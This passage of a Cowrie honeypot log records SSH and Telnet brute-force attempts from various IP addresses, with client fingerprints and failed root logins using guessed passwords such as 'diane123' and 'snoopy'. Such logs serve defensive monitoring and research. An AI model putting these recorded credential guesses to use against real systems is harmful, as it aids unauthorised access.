an-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:36.960615Z","src_ip":"43.133.148.170","session":"59dddfaa58eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ECu13nhc64","message":"login attempt [root/ECu13nhc64] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:37.999432Z","src_ip":"43.133.148.170","session":"59dddfaa58eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:39.253745Z","src_ip":"43.133.148.170","session":"59dddfaa58eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.044084548950195,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:41.233808Z","src_ip":"142.154.97.140","session":"ff1059e654ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48974,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d9c1309c13c","protocol":"telnet","message":"New connection: 152.42.224.71:48974 (10.17.0.5:23) [session: 5d9c1309c13c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:44.091135Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37022,"dst_ip":"10.17.0.5","dst_port":23,"session":"e58a3e114e47","protocol":"telnet","message":"New connection: 152.42.224.71:37022 (10.17.0.5:23) [session: e58a3e114e47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:53.331160Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37032,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed3988092c3","protocol":"telnet","message":"New connection: 152.42.224.71:37032 (10.17.0.5:23) [session: eed3988092c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:55.506839Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47888,"dst_ip":"10.17.0.5","dst_port":23,"session":"e67c44c46355","protocol":"telnet","message":"New connection: 152.42.224.71:47888 (10.17.0.5:23) [session: e67c44c46355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:56.341078Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47892,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2c3bb4479b1","protocol":"telnet","message":"New connection: 152.42.224.71:47892 (10.17.0.5:23) [session: d2c3bb4479b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:10:56.517678Z"}
{"eventid":"cowrie.session.closed","duration":59.78607511520386,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:00.448718Z","src_ip":"152.42.224.71","session":"1f830a474a7b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":43350,"dst_ip":"159.203.135.109","dst_port":22,"session":"345b0c8508dc","protocol":"ssh","message":"New connection: 62.133.62.83:43350 (159.203.135.109:22) [session: 345b0c8508dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:08.094192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:08.099555Z","src_ip":"62.133.62.83","session":"345b0c8508dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:08.260463Z","src_ip":"62.133.62.83","session":"345b0c8508dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snoopy","message":"login attempt [root/snoopy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:08.535942Z","src_ip":"62.133.62.83","session":"345b0c8508dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53472,"dst_ip":"10.17.0.5","dst_port":23,"session":"49707553c3a6","protocol":"telnet","message":"New connection: 152.42.224.71:53472 (10.17.0.5:23) [session: 49707553c3a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:09.047070Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:09.620760Z","src_ip":"62.133.62.83","session":"345b0c8508dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53480,"dst_ip":"10.17.0.5","dst_port":23,"session":"0587b1e3b04a","protocol":"telnet","message":"New connection: 152.42.224.71:53480 (10.17.0.5:23) [session: 0587b1e3b04a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:13.993629Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":32491,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c7ede305c30","protocol":"ssh","message":"New connection: 223.197.186.7:32491 (10.17.0.5:22) [session: 7c7ede305c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:14.221822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:14.226277Z","src_ip":"223.197.186.7","session":"7c7ede305c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:14.450336Z","src_ip":"223.197.186.7","session":"7c7ede305c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"udin","message":"login attempt [root/udin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:15.365833Z","src_ip":"223.197.186.7","session":"7c7ede305c30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:16.584682Z","src_ip":"223.197.186.7","session":"7c7ede305c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"124.109.2.211","src_port":55790,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fb8290d31c6","protocol":"ssh","message":"New connection: 124.109.2.211:55790 (10.17.0.5:22) [session: 5fb8290d31c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:17.036802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:17.040839Z","src_ip":"124.109.2.211","session":"5fb8290d31c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:17.276486Z","src_ip":"124.109.2.211","session":"5fb8290d31c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"diane123","message":"login attempt [root/diane123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:18.272867Z","src_ip":"124.109.2.211","session":"5fb8290d31c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:19.541001Z","src_ip":"124.109.2.211","session":"5fb8290d31c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":55934,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ab52e89ccb2","protocol":"telnet","message":"New connection: 152.42.224.71:55934 (10.17.0.5:23) [session: 3ab52e89ccb2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:20.139134Z"}
{"eventid":"cowrie.session.closed","duration":56.820716381073,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:26.434203Z","src_ip":"152.42.224.71","session":"0a09094ce1cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38084,"dst_ip":"10.17.0.5","dst_port":23,"session":"622b148182d0","protocol":"telnet","message":"New connection: 152.42.224.71:38084 (10.17.0.5:23) [session: 622b148182d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:29.014345Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38086,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7106fef97f6","protocol":"telnet","message":"New connection: 152.42.224.71:38086 (10.17.0.5:23) [session: b7106fef97f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:29.428487Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38090,"dst_ip":"10.17.0.5","dst_port":23,"session":"93383538f2ac","protocol":"telnet","message":"New connection: 152.42.224.71:38090 (10.17.0.5:23) [session: 93383538f2ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:30.866653Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42616,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f815aef2901","protocol":"telnet","message":"New connection: 152.42.224.71:42616 (10.17.0.5:23) [session: 6f815aef2901]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:40.542907Z"}
{"eventid":"cowrie.session.closed","duration":49.7043571472168,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:43.035409Z","src_ip":"152.42.224.71","session":"e58a3e114e47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.245.98.60","src_port":39176,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4e08dbb5113","protocol":"ssh","message":"New connection: 43.245.98.60:39176 (10.17.0.5:22) [session: c4e08dbb5113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:43.089675Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:43.097013Z","src_ip":"43.245.98.60","session":"c4e08dbb5113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:43.346555Z","src_ip":"43.245.98.60","session":"c4e08dbb5113","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ircd","message":"login attempt [root/ircd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:44.373523Z","src_ip":"43.245.98.60","session":"c4e08dbb5113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:45.626533Z","src_ip":"43.245.98.60","session":"c4e08dbb5113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":64.52555346488953,"message":"Connection lost after 64 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:48.616567Z","src_ip":"152.42.224.71","session":"5d9c1309c13c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.015608072280884,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:49.522316Z","src_ip":"152.42.224.71","session":"eed3988092c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.710455656051636,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:51.703934Z","src_ip":"152.42.224.71","session":"0587b1e3b04a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.53089666366577,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:54.048480Z","src_ip":"152.42.224.71","session":"d2c3bb4479b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.133.148.170","src_port":33422,"dst_ip":"10.17.0.5","dst_port":22,"session":"762d8e69cde4","protocol":"ssh","message":"New connection: 43.133.148.170:33422 (10.17.0.5:22) [session: 762d8e69cde4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:54.190191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:54.198235Z","src_ip":"43.133.148.170","session":"762d8e69cde4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:54.449074Z","src_ip":"43.133.148.170","session":"762d8e69cde4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gaye","message":"login attempt [root/gaye] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:55.487333Z","src_ip":"43.133.148.170","session":"762d8e69cde4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:56.741441Z","src_ip":"43.133.148.170","session":"762d8e69cde4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.197.186.7","src_port":30889,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8f26bd361da","protocol":"ssh","message":"New connection: 223.197.186.7:30889 (10.17.0.5:22) [session: a8f26bd361da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:58.198161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:58.202931Z","src_ip":"223.197.186.7","session":"a8f26bd361da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.29701328277588,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:58.343962Z","src_ip":"152.42.224.71","session":"49707553c3a6","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T09:11:58.429831Z","src_ip":"223.197.186.7","session":"a8f26bd361da","protocol":"ssh"}
